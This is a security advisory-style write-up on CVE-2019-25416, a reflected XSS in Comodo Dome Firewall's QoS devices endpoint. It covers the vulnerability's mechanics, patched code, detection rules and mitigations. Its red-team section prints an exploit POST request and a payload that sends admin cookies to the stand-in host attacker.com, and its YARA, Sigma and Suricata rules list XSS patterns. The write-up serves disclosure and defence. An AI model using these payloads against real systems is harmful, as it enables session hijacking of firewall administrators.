CVE-2019-25416

Executive Summary

CVE-2019-25416 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the QoS devices management endpoint, where the device parameter is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript in the device parameter, which, when processed by the firewall's web interface, executes arbitrary scripts in the context of an authenticated administrator's browser. This can lead to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly known with no official patch available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed to trigger the XSS.
• User Interaction (UI): Required – The victim must click a crafted link or submit a crafted form.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a network management context, an admin clicking a malicious link could lead to full compromise of the firewall.

Deep Dive & Mechanics

The vulnerability resides in the QoS (Quality of Service) devices management endpoint of the Comodo Dome Firewall web interface. The endpoint accepts POST requests to manage network devices. The device parameter is reflected directly into the response without proper encoding or sanitization.

Attack Flow:

1. An attacker crafts a malicious URL or form that sends a POST request to the vulnerable endpoint.
2. The POST request includes a device parameter containing a JavaScript payload, e.g., <script>alert('XSS')</script>.
3. The firewall's web server reflects this payload in the HTML response.
4. When an authenticated administrator views the response (e.g., by clicking the link or submitting the form), the script executes in their browser.
5. The script can then steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of input validation and output encoding for the device parameter. The application does not escape HTML entities before rendering the parameter value.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable PHP example
$device = $_POST['device'];
echo "<div>Device: $device</div>";

Patched Code (Conceptual):

// Patched PHP example
$device = htmlspecialchars($_POST['device'], ENT_QUOTES, 'UTF-8');
echo "<div>Device: $device</div>";

The patched version uses htmlspecialchars() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Comodo Dome Firewall 2.7.0 (or a vulnerable instance)
• Attacker: Kali Linux with Burp Suite or curl
• Victim: Browser with admin session on the firewall

Exploit Steps:

1. Identify the vulnerable endpoint: /qos/devices (POST)
2. Craft a malicious POST request:

POST /qos/devices HTTP/1.1
Host: target-firewall
Content-Type: application/x-www-form-urlencoded

device=<script>alert('XSS')</script>

3. Send the request to an authenticated admin (e.g., via email or chat).
4. When the admin views the response, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /qos/devices with suspicious device parameter values.
• Look for <script> tags or JavaScript event handlers in the parameter.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation: allow only alphanumeric characters and hyphens.
• Implement output encoding for all reflected parameters.
• Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /qos/devices with device parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the firewall's management interface.
• Host IOCs:
  • Unusual JavaScript execution in the browser.
  • Unexpected cookies or session tokens in logs.
• Log IOCs:
  • Web server logs showing device=<script> in the request body.

Detection Engineering

YARA Rule

rule CVE_2019_25416_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25416"
    strings:
        $xss1 = "device=<script" nocase
        $xss2 = "device=</script>" nocase
        $xss3 = "device=<img" nocase
        $xss4 = "device=onerror=" nocase
        $xss5 = "device=onload=" nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /qos/devices with XSS payloads in the device parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/qos/devices'
        cs-uri-query|contains: 'device='
    keywords:
        - '<script'
        - '</script>'
        - '<img'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of device names containing special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25416 Reflected XSS in Comodo Dome Firewall"; flow:to_server; content:"POST"; http_method; content:"/qos/devices"; http_uri; content:"device="; http_client_body; pcre:"/device=<(script|img|iframe|svg)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall management interface from untrusted networks (e.g., place it behind a VPN or dedicated management VLAN).
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> or other HTML tags in the device parameter.
3. Manually sanitize input by restricting the device parameter to alphanumeric characters and hyphens only.

Long-Term Fix:

• Since no official patch is available, consider upgrading to a newer version of Comodo Dome Firewall (if available) or migrating to an alternative firewall solution.
• Apply output encoding in the web interface code (e.g., using htmlspecialchars() in PHP or equivalent in other languages).

Workaround:

• Disable the QoS devices management endpoint if not needed, or restrict access to it via firewall rules.

Valters IT